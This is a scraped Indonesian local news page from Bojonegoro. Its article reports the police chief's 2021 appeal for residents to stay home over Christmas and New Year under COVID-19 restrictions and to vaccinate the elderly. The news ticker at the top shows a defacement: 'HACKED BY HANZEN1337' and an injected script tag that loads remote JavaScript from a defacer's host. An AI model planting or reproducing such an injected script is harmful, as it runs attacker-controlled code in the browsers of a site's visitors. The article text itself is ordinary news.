News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Kapolres Bojonegoro Imbau Masyarakat Tetap di Rumah Saja saat Libur Natal dan Tahun Baru

Kapolres Bojonegoro Imbau Masyarakat Tetap di Rumah Saja saat Libur Natal dan Tahun Baru

Bojonegoro – Dengan adanya Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 62 Tahun 2021 tentang Pencegahan dan Penanggulangan Corona Virus Disease (COVID) 2019 pada saat libur Natal Tahun 2021 dan Tahun Baru 2022, Polres Bojonegoro telah menyusun langkah-langkah pencegahan dan penanganan COVID-19 untuk memutus mata rantai penyebaran virus tersebu.
 
Langkah tersebut salah satunya adalah dengan meminimalisir pergerakan masyarakat dari satu tempat ke tempat lain, saat Natal Tahun 2021 dan Tahun Baru 2022.
 
"Saya imbau nanti pada saat pelaksanaan natal dan tahun baru untuk tidak melaksanakan kegiatan mobilisasi massa. Kita imbau masyarakat untuk tetap di rumah saja," tutur Kapolres Bojonegoro, AKBP EG Pandia, Selasa (23/11/2021).
 
 
AKBP Pandia menambahkan menjelang libur natal dan tahun baru nanti pihaknya akan melakukan pengetatan dan pengawasan penerapan protokol kesehatan (prokes) di tiga tempat, yaitu di gereja atau tempat yang difungsikan sebagai tempat ibadah pada saat perayaan natal, tempat perbelanjaan, dan tempat wisata lokal, dengan memberlakukan kebijakan sesuai pada Pelaksanaan Pembatasan Kegiatan Masyarakat (PPKM) Level 3.
 
“Sebelum Nataru nanti Polres Bojonegoro akan melakukan rapat koordinasi terlebih dahulu dengan instansi terkait, pengurus gereja, manajemen pusat perbelanjaan, dan pengelola tempat wisata. Apa yang harus diperhatikan selama libur natal dan tahun baru nanti,” tutur AKBP EG Pandia.
 
Kapolres menjelaskan bahwa kebijakan tersebut dalam rangka memperketat pergerakan orang guna mencegah lonjakan kasus COVID-19 saat libur natal dan tahun baru.
 
“Kita mohon masyarakat tidak mengabaikan kebijakan tersebut, meskipun kondisi COVID-19 saat ini menurun. Tetap menjaga protokol kesehatan dan sama-sama melaksanakan Natal dan Tahun Baru ini di rumah saja, jangan sampai gelombang ketiga terulang kembali,” katanya.
 
 
Pihaknya mengimbau kepada masyarakat khususnya Lanjut Usia (lansia) yang belum melaksanakan vaksinasi segera melaksanakan vaksinasi.
 
“Apabila lansia terkendala dengan kondisi fisiknya, silakan pihak keluarga menghubungi Bhabinkamtibmas atau RT setempat. Nanti Bhabinkamtibmas bersama-sama tenaga kesehatan akan mendatangi untuk dilakukan vaksinasi. Jangan sungkan-sungkan menghubungi Bhabinkamtibmas,” kata Kapolres. (red/imm)
 
 
Editor: Imam Nurcahyo
Publisher: Imam Nurcahyo
 
Berita Terkait
1783877193.1919 at start, 1783877197.2705 at end, 4.0785620212555 sec elapsed